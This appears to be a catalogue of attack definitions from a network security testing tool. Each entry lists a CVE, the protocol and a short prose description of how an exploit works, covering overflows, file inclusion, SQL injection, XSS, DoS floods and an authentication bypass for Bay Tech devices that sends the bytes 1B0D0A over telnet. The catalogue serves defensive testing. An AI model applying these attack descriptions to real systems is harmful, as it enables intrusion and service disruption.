Detailed Description:	A code execution vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error in ovutil.dll module which is loaded by the ovwebsnmpsrvc.exe when processing requests sent by jovgraph.exe CGI program from a crafted HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the ovwebsnmpsrvc.exe process.
	In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code.
Protocol Type:	HTTP
CVEID:	CVE-2010-1961
Threat Package:	Standard
Threat File Name:	baytechAuthBypass_IPv6.xml
Executive Description:	Bay Tech Authentication Bypass (IPv6 Version)
Detailed Description:	This threat bypasses the network login ability through telnet by sending the bytes 1B0D0A to a vulnerable host. This allows the user to login to the privileged application without supplying a username and password. (IPv6 Version)
Protocol Type:	Telnet/IPv6
CVEID:	CVE-2005-0957
OSVDB:	15299
Threat Package:	Standard
Threat File Name:	php_phpinfo_xss.xml
Executive Description:	PHP 4.4.3 - 4.4.6 phpinfo() Remote Cross-Site Scripting Variant Vulnerability
Detailed Description:	This threat attempts to cause a cross site scripting condition through the phpinfo() function call. By exploiting this XSS vulnerability an attacker can steal session and cookie authentication details. PHP is a web application and programming language, it is used typically web servers listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1287
Threat Package:	Standard
Threat File Name:	finger_bomb.xml
Executive Description:	Finger Bomb
Detailed Description:	This threat sends a string of @@@@'s to the finger service. This is known to crash and consume resources on older versions of finger. Finger typically listens on port 79.
Protocol Type:	Finger
CVEID:	CVE-1999-0105
OSVDB:	64
Threat Package:	Standard
Threat File Name:	santyb3_IPv6.xml

Executive Description:	Santy.B phpBB worm 3 (IPv6 Version)
Detailed Description:	This threat is a worm that attacks vulnerable versions of phpBB, a popular bulletin board software. This is one version of the attack. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120106-02_HP_OpenView_Network_Node_Manager_ov_dll_OVBuildPath_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager ov.dll _OVBuildPath Buffer Overflow
Detailed Description:	A stack-based buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error in the _OVBuildPath function defined in ov.dll when processing crafted HTTP request parameters. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to the jovgraph.exe or the webappmon.exe CGI program on a target server, potentially causing arbitrary code to be injected and executed within the security context of the Internet Guest Account.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-3167
Threat File Name:	xitami_web_server_bof.xml
Executive Description:	Xitami Web Server 2.5 (If-Modified-Since) 0day Remote Buffer Overflow Vulnerability
Detailed Description:	This threat uses a specially crafted HTTP GET request from a client to leverage a flaw in Xitami Web Server resulting in the execution of arbitrary code. Xitami is a web server that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-5067
Threat Package:	Standard
Threat File Name:	FSC20090810-02_Adobe_Flash_Player_ActionScript_intrf_count_Integer_Overflow.xml
Executive Description:	Adobe Flash Player ActionScript intrf_count Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Adobe Flash Player. The vulnerability is due to lack of validation for the size of an interface array, 'intrf_count', before using it in an arithmetic operation. This leads to memory corruption and can allow for arbitrary code execution. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with privileges of the currently logged on user. In an attack case where code injection is not successful, the affected application will terminate abnormally causing a denial of service condition.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2009-1869
Threat Package:	Standard
Threat File Name:	leadtools_remote_overwrite_IPv6.xml
Executive Description:	LeadTools Raster Variant Object Library (LTRVR14e.dll v. 14.5.0.44) Remote Arbitrary File Overwrite Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a flaw in the LeadTools Raster Image SDK ActiveX application, that results in the overwriting of arbitrary files. This threat is delivered via a malicious web page, accessible via port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100329-07_Apple_Safari_HTML_Image_Element_Handling_Use_After_Free_Vulnerability.xml
Executive Description:	Apple Safari HTML Image Element Handling Use After Free Vulnerability
Detailed Description:	A memory corruption vulnerability exists in Apple Safari. The vulnerability is due to a user-after-free error when handling HTML image element. Remote attackers can exploit this vulnerability to execute arbitrary code on the target machine by enticing a user into opening a specially crafted HTML document. In attack scenarios where code execution is successful the behavior of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0054
Threat Package:	Standard
Threat File Name:	FSC20040722-01_Adobe_Acrobat_File_Extension_Buffer_Overflow.xml
Executive Description:	Adobe Acrobat Reader File Extension Buffer Overflow Vulnerability
Detailed Description:	A vulnerability exists in Adobe Acrobat's handling of a document's file name extension. When Acrobat opens a file with an overly long file name extension, a buffer overflow occurs. An attacker could use this vulnerability to remotely execute code on a system.
Protocol Type:	HTTP
CVEID:	CVE-2004-0632
Threat Package:	Standard
Threat File Name:	TSL20140924-07_GNU_Bash_Environment_Variable_Handling_Command_Execution_IPv6.xml
Executive Description:	GNU Bash Environment Variable Handling Command Execution IPv6 version.
Detailed Description:	A command execution vulnerability exists in GNU Bash. The vulnerability is due to a failure in handling environment variables. A remote attacker can exploit this vulnerability by interacting with an application that uses Bash environment variables. If an attacker can control the value of an environment variable, then command execution can be achieved in the context of the application using the environment variable.
Protocol Type:	HTTP/HTTPS,IPv6
CVEID:	CVE-2014-6271
OSVDB:	112004
Threat File Name:	MSHTTXMLActiveX_IPv6.xml
Executive Description:	MS HTTPXML ActiveX BoF (IPv6 Version)
Detailed Description:	Microsoft XML core services are vulnerable to a remote code execution where a remote attacker can hijack the targeted system. Failed attempts will result in a denial of service (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5745
Threat Package:	Standard

Threat File Name:	TSL20120508-13_Microsoft_Excel_SXLI_Record_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Excel SXLI Record Parsing Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Excel. The vulnerability is due to the way in which Excel processes SXLI records. A remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-0184
OSVDB:	81725
Threat File Name:	awstats_cmi_b_IPv6.xml
Executive Description:	AWStats 6.5 Remote Command Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP POST command which allows arbitrary command execution via the "migrate" parameter. This is due to improper handling of shell metacharacters. AWStats is a web application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2237
Threat File Name:	FSC20100413-12_Microsoft_Office_Publisher_File_Conversion_TextBox_Processing_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Office Publisher File Conversion TextBox Processing Buffer Overflow (IPv6 Version)
Detailed Description:	An stack buffer overflow vulnerability exists in Microsoft Office Publisher that could allow a remote attacker to execute arbitrary code on the vulnerable system. The vulnerability is due to the way Publisher parses certain values in a Microsoft Publisher file. Remote attackers could exploit this vulnerability by enticing the target user to open a malicious file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt will terminate the affected application abnormally. (IPv6 Version)
Protocol Type:	HTTP/HTTPS/IMAP/POP/SMB/CIFS/SMTP/FTP/IPv6
CVEID:	CVE-2010-0479
Threat Package:	Standard
Threat File Name:	FSC20060711-25_Microsoft_Office_Malformed_GIF_File_Processing_Code_Execution.xml
Executive Description:	Microsoft Office Malformed GIF File Processing Code Execution
Detailed Description:	There exists a buffer overflow vulnerability in the GIF graphics filter installed with Microsoft Office products. The flaw is triggered when a malicious GIF image is parsed by the affected component. A successful attack may lead to the execution of arbitrary code with the privileges of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2006-0007
Threat Package:	Standard
Threat File Name:	FSC20080731-12_CA_ARCserve_Backup_for_Laptops_and_Desktops_LGServer_Handshake_Bu_IPv6.xml
Executive Description:	CA ARCserve Backup for Laptops and Desktops LGServer Handshake Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the way CA ARCserve Backup for Laptops and Desktops service handles incoming messages. A remote unauthenticated attacker can send specially crafted message to the LGServer service to trigger the vulnerability, potentially execute arbitrary code on the target host with System privileges. (IPv6 Version)
Protocol Type:	SSDP/IPv6
CVEID:	CVE-2008-3175
Threat Package:	Standard
Threat File Name:	FSC20041101-01_Microsoft_Internet_Explorer_Status_Bar_URL_Spoofing.xml
Executive Description:	Microsoft Internet Explorer Status Bar URL Spoofing
Detailed Description:	A vulnerability exists in the way Microsoft Internet Explorer displays a URL in the status bar. A specially crafted HTML link can be masqueraded in the status bar to an arbitrary URL. This can be used by an attacker to entice a user into visiting a malicious web page that, through masquerading, appears to be a trusted web page.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_BlockNo_ACK.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_BlockNo_ACK.xml
Detailed Description:	Fuzzes BlockNo in a TFTP ACK Packet by ranging the block value. OpCode is 0004.
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	TSL20170120-07_Brocade_Network_Advisor_SoftwareImageUpload_name_filename_Directory_Traversal.xml
Executive Description:	Brocade Network Advisor SoftwareImageUpload name filename Directory Traversal
Detailed Description:	A directory traversal vulnerabilities exists in Brocade Network Advisor. The vulnerability is due to lack of authentication and insufficient input validation in the SoftwareImageUpload servlet of inmservlets.war when processing HTTP multipart form requests. A remote, unauthenticated attacker can exploit this vulnerability to delete important directories or files by sending a malicious HTTP request to the target system. Successful exploitation could result in a denial-of-service condition.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-8206
Threat File Name:	ibm_domino_inotes6dll_activex_bof.xml
Executive Description:	IBM Domino Web Access Upload Module inotes6.dll Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in IBM Domino Web Access Upload Module inotes6.dll ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4474
Threat Package:	Standard

Threat File Name:	TSL20170523-10_Digium_Asterisk_chan_skinny_SCCP_packet_Denial_of_Service.xml
Executive Description:	Digium Asterisk chan_skinny SCCP packet Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in Digium Asterisk. The vulnerability is due to a processing flaw in the chan_skinny SCCP packet processing module. A remote unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted SCCP packet to a vulnerable Asterisk server. Successful exploitation could cause the Asterisk server to terminate.
Protocol Type:	SCCP
Threat File Name:	FSC20040728-01_Microsoft_SMS_Remote_Control_Service_DoS_IPv6.xml
Executive Description:	Microsoft SMS Remote Control Service DoS (IPv6 Version)
Detailed Description:	There exists a vulnerability in the Microsoft Systems Management Server (SMS) Remote Control Service that allows an attacker to cause a denial of service condition. By using a specially crafted TCP packet, an attacker can bypass the input verification procedure and cause an invalid memory read or write. There exists a second denial of service condition in the Microsoft Systems Management Server (SMS) Remote Control Service. Any packet that is not in the context of a remote control session and can bypass the input verification procedure will cause the service to enter an infinite loop. (IPv6 Version)
Protocol Type:	SMS/IPv6
CVEID:	CVE-2004-0728
Threat Package:	Standard
Threat File Name:	man2web_cmd_1.xml
Executive Description:	man2web Remote Command Execution
Detailed Description:	This threat attempts to run a command through a scripting flaw in the man2web HTML generation application. man2web is a CGI script that allows users to browse man pages through the web. It is part of a web server, and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2812
OSVDB:	19517
Threat Package:	Standard
Threat File Name:	FSC20041109-01_Microsoft_ISA_Server_DNS_Spoofing_Vulnerability.xml
Executive Description:	Microsoft ISA Server DNS Spoofing Vulnerability
Detailed Description:	A vulnerability exists in the DNS cache functionality of Microsoft Internet Security and Acceleration (ISA) Server and Microsoft Proxy Server. A vulnerable server can be manipulated into caching and using an incorrect IP address for a DNS hostname. This flaw may allow an attacker to present malicious content to users under the guise of a known and trusted web site.
Protocol Type:	DNS
CVEID:	CVE-2004-0892
Threat Package:	Standard
Threat File Name:	TSL20120907-01_HP_Application_Lifecycle_Management_ActiveX_Control_Arbitrary_File_Overwrite_IPv6.xml
Executive Description:	HP Application Lifecycle Management ActiveX Control Arbitrary File Overwrite(IPv6 Version)
Detailed Description:	A directory traversal and file overwrite vulnerability exists in the HP Application Lifecycle Management ActiveX control XGO.ocx. The vulnerability is caused by exposing the CopyToFile function which fails to validate the filename parameter and allows the overwriting of system files. An attacker could exploit this vulnerability by enticing a user to open a specially crafted web page. Successful exploitation could result in code execution in the context of the currently logged in user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-N/A
OSVDB:	85059
Threat File Name:	FSC20070911_Microsoft_Visual_Studio_Crystal_Reports_RPT_File_Handling_Code_Execution_IPv6.xml
Executive Description:	Microsoft Visual Studio Crystal Reports RPT File Handling Code Execution (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the way Business Objects Crystal Reports handles RPT files. The vulnerability is because the application fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer. An attacker may exploit this issue by enticing a victim user into opening a malicious RPT file, resulting in the execution of arbitrary code with privileges of the currently logged-in user. Failed exploit attempts will likely result in denial of service conditions. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-6133
Threat Package:	Standard
Threat File Name:	TSL20160429-09_SolarWinds_SRM_Profiler_DuplicateFilesServlet_SQL_Injection.xml
Executive Description:	SolarWinds SRM Profiler DuplicateFilesServlet SQL Injection
Detailed Description:	A SQL injection vulnerability has been reported in the DuplicateFilesServlet servlet of SolarWinds Storage Manager Resource Monitor, Profiler Module. This vulnerability is due to insufficient validation of the fileName, sortField and sortDirection parameters when processing HTTP requests. A remote, authenticated attacker could exploit this vulnerability by sending a web request with a malicious SQL query to the target server. Successful exploitation could lead to arbitrary code execution in the security context of SYSTEM.
Protocol Type:	HTTP
CVEID:	CVE-2016-4350
Threat File Name:	RSTFlood.xml
Executive Description:	RST Flood
Detailed Description:	This threat sends packets that are crafted with random source IPs, source ports, and sequence numbers in an attempt to close valid connections on a device. This a high bandwidth attack with a low probability of success, however as the device has more and more legitimate connections, the probability of success increases. MS05-019 addresses this problem.
Protocol Type:	TCP
CVEID:	CVE-2004-0230
OSVDB:	4030
Threat Package:	Standard
Threat File Name:	FSC20100319-04_Mozilla_Multiple_Products_JavaScript_String_Replace_Buffer_Overflow.xml

Executive Description:	Mozilla Multiple Products JavaScript String Replace Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Mozilla Firefox and SeaMonkey products. The vulnerability is due to improper processing of a crafted substring when performing the replace operation in Javascript. Remote attacker can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation of this vulnerability can lead to arbitrary code execution with the privileges of the logged in user. In case of an unsuccessful attack, the web browser will terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-3075
Threat Package:	Standard
Threat File Name:	TSL20150717-14_Oracle_Java_SE_OSCP_nextUpdate_Replay_Attack.xml
Executive Description:	Oracle Java SE OSCP nextUpdate Replay Attack
Detailed Description:	A replay attack vulnerability exists in Oracle Java SE. The vulnerability is due to improper checking of the nextUpdate field in an OSCP response. An unauthenticated, MiTM attacker may exploit this vulnerability by replaying an old OSCP response to trick a vulnerable Java application into accepting a revoked certificate when the application attempts to verify the the revoked certificate with OSCP.
Protocol Type:	OCSP/HTTP;OCSP/HTTPS
CVEID:	CVE-2015-4748
Threat File Name:	TSL20131112-13_Microsoft_Office_WordPerfect_File_Processing_Stack_Buffer_Overflow.xml
Executive Description:	Microsoft Office WordPerfect File Processing Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Microsoft Office. The vulnerability is due to improper handling of structures when parsing a specially crafted WordPerfect document. Remote, unauthenticated attackers could exploit this vulnerability by enticing a target user to open a specially crafted .wpd file. Successful exploitation allows the attacker to execute arbitrary code, or terminate the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2013-1324
OSVDB:	99651
Threat File Name:	cisco_catos_DOS.xml
Executive Description:	Cisco Catalyst ACK Denial of Service
Detailed Description:	This threat sends out a TCP SYN packet followed by another TCP packet that has its flags set to anything but the appropriate response. This will cause the target machine to crash.
Protocol Type:	TCP
CVEID:	CVE-2004-0551
OSVDB:	6829
Threat Package:	Standard
Threat File Name:	TSL20120814-19_Adobe_Flash_Player_OpenType_Font_Parsing_Integer_Overflow_IPV6.xml
Executive Description:	Adobe Flash Player OpenType Font Parsing Integer Overflow(IPV6 Version)
Detailed Description:	A code execution vulnerability exists in Adobe Flash Player. The vulnerability is due to an integer overflow when parsing OpenType Font data embedded in an SWF file. The vulnerability could allow a remote attacker to inject and execute arbitrary code on the affected system.A remote attacker can exploit this vulnerability by enticing a user to download and view a malicious file.This vulnerability is being exploited in the wild in targeted attacks via a Flash (.swf) file embedded in a Microsoft Word (.doc) file delivered as an email attachment.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2012-1535
OSVDB:	84607
Threat File Name:	mercur_imap_rbof.xml
Executive Description:	Mercur Mailserver 5.0 SP3 (IMAP) Remote Buffer Overflow Vulnerability
Detailed Description:	
Protocol Type:	IMAP
Threat Package:	Standard
Threat File Name:	cbsms_mambo_cmi.xml
Executive Description:	CBSMS Mambo Module 1.0 Remote File Include Vulnerabilities
Detailed Description:	This threat sends a crafted HTTP GET request containing a url for a file to be included by the script via mod_cbsms_messages.phps "mosConfig_absolute_path" parameter. CMSMS is a web based application which typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20131030-04_Novell_ZENworks_Configuration_Management_umaninv_Information_Disclosure_IPv6.xml
Executive Description:	Novell ZENworks Configuration Management umaninv Information Disclosure(IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in Novel ZENworks Configuration Management. The vulnerability is due to a failure to validate the "Filename" GET parameter to the umaninv service leading to directory traversal. A remote unauthenticated attacker could exploit this vulnerability by sending crafted requests to affected service. Successful exploitation would allow the attacker to disclose contents of arbitrary files.
Protocol Type:	HTTP,IPV6
CVEID:	CVE-2013-1084
OSVDB:	99198
Threat File Name:	FSC20060201-08_Mozilla_Browsers_CSS_moz-binding_Cross_Domain_Scripting.xml
Executive Description:	Mozilla Browsers CSS moz-binding Cross Domain Scripting
Detailed Description:	There exists a Cross Site Scripting vulnerability in Mozilla web browser and its derivatives. The flaw is caused by a validation error when processing malicious CSS or HTML documents containing a specially crafted "-moz-binding" property. A remote attacker may exploit this issue to execute arbitrary scripting code in the target's browser session in the context of an arbitrary site.
Protocol Type:	HTTP
CVEID:	CVE-2006-0496
Threat Package:	Standard
Threat File Name:	TSL20140307-09_Apache_Struts_ParametersInterceptor_ClassLoader_Security_Bypass_IPV6.xml

Executive Description:	Apache Struts ParametersInterceptor ClassLoader Security Bypass(IPv6 Version)
Detailed Description:	A security bypass vulnerability exists in Apache Struts. The vulnerability is due to inadequate validation of data processed by the ParameterInterceptor allowing for manipulation of the ClassLoader. A remote attacker could exploit this vulnerability by providing a class parameter in a request. Successful exploitation could lead to a security bypass condition due to ClassLoader manipulation.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2014-0094
Threat File Name:	imgsvr_bof_b_IPv6.xml
Executive Description:	ImgSvr 0.6.5 (long http post) Denial of Service Exploit (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP POST command containing an excessively long buffer, this causes an overflow condition in ImgSvr which crashes the process. ImgSvr is a web server application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	telnet_xss.xml
Executive Description:	Telnet Cross Site Scripting Attack
Detailed Description:	This threat sends a crafted set of login attempts to cause a cross site scripting attack on the remote management interface of the target device. This allows the attacker to redirect the log page and perform scripting actions on the device. Telnet typically listens on port 23.
Protocol Type:	Telnet
Threat Package:	Standard
Threat File Name:	FSC20071011-10_CA_BrightStor_ARCserve_Backup_Message_Engine_Insecure_Method_Exposure_IPv6.xml
Executive Description:	CA BrightStor ARCserve Backup Message Engine Insecure Method Exposure (IPv6 Version)
Detailed Description:	There exist unsecured Remote Procedure Call (RPC) methods in the Message Engine service of CA BrightStor Backup product. An unauthenticated remote attacker can send malicious requests to the affected interface to exploit this vulnerability. Successful attack could allow for file system and registry manipulation that leads to complete compromise of the target system. (IPv6 Version)
Protocol Type:	DCE-RPC/IPv6
CVEID:	CVE-2007-5328
Threat Package:	Standard
Threat File Name:	unclassified_rfi.xml
Executive Description:	Unclassified NewsBoard ABBC.CSS.PHP Local File Include Vulnerability
Detailed Description:	This threat sends a crafted HTTP GET query which includes a path via abbc.css.php's "design_path" parameter. this file is included in the returned page. Unclassified Newsboard is a web application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2405
OSVDB:	25494
Threat Package:	Standard
Threat File Name:	TSL20140724-09_MIT_Kerberos_5_SPNEGO_Acceptor_acc_ctx_cont_Denial_of_Service_IPv6.xml
Executive Description:	MIT Kerberos 5 SPNEGO Acceptor acc_ctx_cont Denial of Service IPv6 version.
Detailed Description:	A denial-of-service vulnerability exists in the MIT Kerberos 5. The vulnerability is due to a NULL pointer dereference in acc_ctx_cont() in SPNEGO Acceptor for continuation tokens. A remote, unauthenticated attacker can exploit this vulnerability by sending an empty token as the second or later context token during SPNEGO negotiation, causing the vulnerable application using the Kerberos library to terminate effecting a denial-of-service condition. Tester should turn variable \$destPort into 1234 before test.
Protocol Type:	GSSAPI-SPNEGO.IPV6
CVEID:	CVE-2014-4344
OSVDB:	109389
Threat File Name:	fuzz-ARP_destIP.xml
Executive Description:	Fuzzer for Protocol:ARP and Field:destIP
Detailed Description:	
Protocol Type:	ARP
Threat Package:	Fuzzing
Threat File Name:	FSC20050826-01_HP_OpenView_Network_Node_Manager_Remote_Command_Execution.xml
Executive Description:	HP OpenView Network Node Manager Remote Command Execution
Detailed Description:	There exists a command execution vulnerability in HP OpenView Network Node Manager. The vulnerability exists as a result of several CGI scripts failing to properly sanitize user provided parameters. An attacker can exploit the vulnerability to execute arbitrary system commands in the context of the currently running web service. The vulnerability can be triggered remotely without credentials by sending specially crafted HTTP requests to the target system. A successful attack can let non-privileged users execute system command in the security context of the affected process. The behaviour of the target system is dependent on the nature of the injected code. By default, the vulnerable product runs as the System user on Windows systems, and the bin user on Unix-like systems.
Protocol Type:	HTTP
CVEID:	CVE-2005-2773
Threat Package:	Standard
Threat File Name:	TSL20120608-07_IBM_Lotus_iNotes_dwa85W_dll_ActiveX_Control_Buffer_Overflow_IPV6.xml
Executive Description:	IBM Lotus iNotes dwa85W.dll ActiveX Control Buffer OverflowActiveX Control Buffer Overflow(IPV6 Version)
Detailed Description:	A buffer overflow vulnerability exists in IBM Lotus iNotes. The vulnerability is due to a boundary error within the dwa85W.dll ActiveX control when setting the property Attachment_Times with an overly long string.A remote attacker can exploit this vulnerability by enticing a target user to view crafted web content. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user's browser.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2012-2175
OSVDB:	82755
Threat File Name:	TSL20170329-01_Microsoft_Edge_Frame_Elements_Same_Origin_Policy_Bypass.xml
Executive Description:	Microsoft Edge Frame Elements Same Origin Policy Bypass

Detailed Description:	A security policy bypass vulnerability exists in Microsoft Edge. This vulnerability is due to a failure to correctly apply the Same-origin Policy for frame elements of newly opened windows. A remote attacker could exploit this vulnerability by tricking a user into loading a page or visiting a site. Successful exploitation of this vulnerability would allow an attacker to bypass the Same-origin Policy and disclose sensitive information.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-0066
Threat File Name:	TSL20130207-08_Opera_SVG_clipPath_Use_After_Free_Memory_Corruption_IPv6.xml
Executive Description:	Opera SVG clipPath Use After Free Memory Corruption(IPV6 Version)
Detailed Description:	A use-after-free vulnerability has been reported in Opera web browser. The vulnerability is due to an error while parsing SVG content. A remote attacker can exploit this vulnerability by enticing a user to download and process a maliciously crafted file with a vulnerable version of Opera. This can lead to code execution in the context of the affected application. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2013-1638
OSVDB:	89614
Threat File Name:	opendock_egallery_rfi.xml
Executive Description:	OpenDock Easy Gallery doc_directory Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. OpenDock Easy Gallery is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	rspa_rfi_IPv6.xml
Executive Description:	Really Simple PHP and Ajax (RSPA) 2007-03-23 Remote File Include Vulnerability (IPV6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. RSPA is a web application that typically listens on port 80. (IPV6 Version)
Protocol Type:	HTTP/IPV6
Threat Package:	Standard
Threat File Name:	TSL20141007-06_PHP_Fileinfo_cdf_read_property_info_Denial_of_Service_IPv6.xml
Executive Description:	PHP Fileinfo cdf_read_property_info Denial of Service IPv6 version
Detailed Description:	A denial of service vulnerability exists in PHP. It is due to an integer overflow error in the Fileinfo module while processing CDF files. This vulnerability exists because of an incomplete fix for CVE-2012-1571. A remote attacker can exploit the vulnerability by sending crafted CDF files to a web application running a vulnerable version of PHP. A successful attack will crash the application, which can cause a denial of service condition.
Protocol Type:	HTTP/HTTPS,IPV6
CVEID:	CVE-2014-3587
OSVDB:	79681
Threat File Name:	FSC20080610-08_Microsoft_Windows_Pragmatic_General_Multicast_Packet_Handling_DoS.xml
Executive Description:	Microsoft Windows Pragmatic General Multicast Packet Handling DoS
Detailed Description:	A vulnerability has been reported in Microsoft Windows implementation of Pragmatic General Multicast (PGM) protocol. The vulnerability is a result of improper input validation when parsing the 'option' field of incoming packets. A remote attacker can exploit this vulnerability by sending a crafted PGM packet to the target, and potentially cause a denial of service condition. The vulnerable target system will freeze and become non-responsive as a result of a successful denial of service attack targeting this vulnerability. The system must be restarted to restore normal functionality.
Protocol Type:	PGM
CVEID:	CVE-2008-1440
Threat Package:	Standard
Threat File Name:	FSC20060411-20_Microsoft_Outlook_Express_Windows_Address_Book_File_Vulnerability.xml
Executive Description:	Microsoft Outlook Express Windows Address Book File Vulnerability
Detailed Description:	A vulnerability has been discovered in the way Microsoft Outlook Express parses malformed Windows Address Book (.wab) files. An attacker may exploit this vulnerability by enticing a user to open a crafted address book file. A successful attack can lead to the injection and execution of arbitrary code within the security context of the target user.
Protocol Type:	HTTP
CVEID:	CVE-2006-0014
Threat Package:	Standard
Threat File Name:	pafiledb_sqli_IPv6.xml
Executive Description:	paFileDB 3.6 (search.php) Remote SQL Injection Vulnerability (IPV6 Version)
Detailed Description:	This threat sends a HTTP request for a URL that contains an SQL query which will be executed on the affected server. paFileDB is a web application that typically listens on port 80. (IPV6 Version)
Protocol Type:	HTTP/IPV6
Threat Package:	Standard
Threat File Name:	phplistpro_cmi_d.xml
Executive Description:	phplistPro addsite.php returnpath Variable Remote File Inclusion
Detailed Description:	This threat sends a crafted HTTP GET query which is used to include an arbitrary php or html file by setting the returnpath global variable to include a remote file. phplistPro is a web based application with typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-1749
Threat Package:	Standard
Threat File Name:	FSC20090602-06_Apple_QuickTime_Movie_File_Clippping_Region_Handling_Heap_Buffer_Overflow.xml
Executive Description:	Apple QuickTime Movie File Clipping Region Handling Heap Buffer Overflow

Detailed Description:	There exists a heap buffer overflow vulnerability in Apple QuickTime. The vulnerability is due to lack of boundary checks while processing Clipping Region (CRGN) atoms embedded in QuickTime movie files. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted QuickTime movie file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. In an attack case where code injection is not successful, the affected Apple QuickTime process will terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0954
Threat Package:	Standard
Threat File Name:	http_get_lnk_IPv6.xml
Executive Description:	HTTP Request for Microsoft Shortcut File (IPv6 Version)
Detailed Description:	This threat is an HTTP request for a .LNK file. While not unusual by itself, it can represent either the execution of strange remote code, or an attempted download of malware. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	ubbtthreats_cmi_IPv6.xml
Executive Description:	UBBThreads Remote File Inclusion (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via addpost_newpoll.php's "thispath" parameter. UBBThreads is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2675
Threat Package:	Standard
Threat File Name:	teardrop_IPv6.xml
Executive Description:	Teardrop Fragment Assembly Attack (IPv6 Version)
Detailed Description:	The threat sends out a single ICMP ping packet comprised of two fragments. The second fragment overlaps the first fragment and does not exceed the first fragment's length, causing an improper bounds checking error (copying too much memory). Affects older Linux kernels and versions of Windows. (IPv6 Version)
Protocol Type:	IP/IPv6
CVEID:	CVE-1999-0015
OSVDB:	5727
Threat Package:	Standard
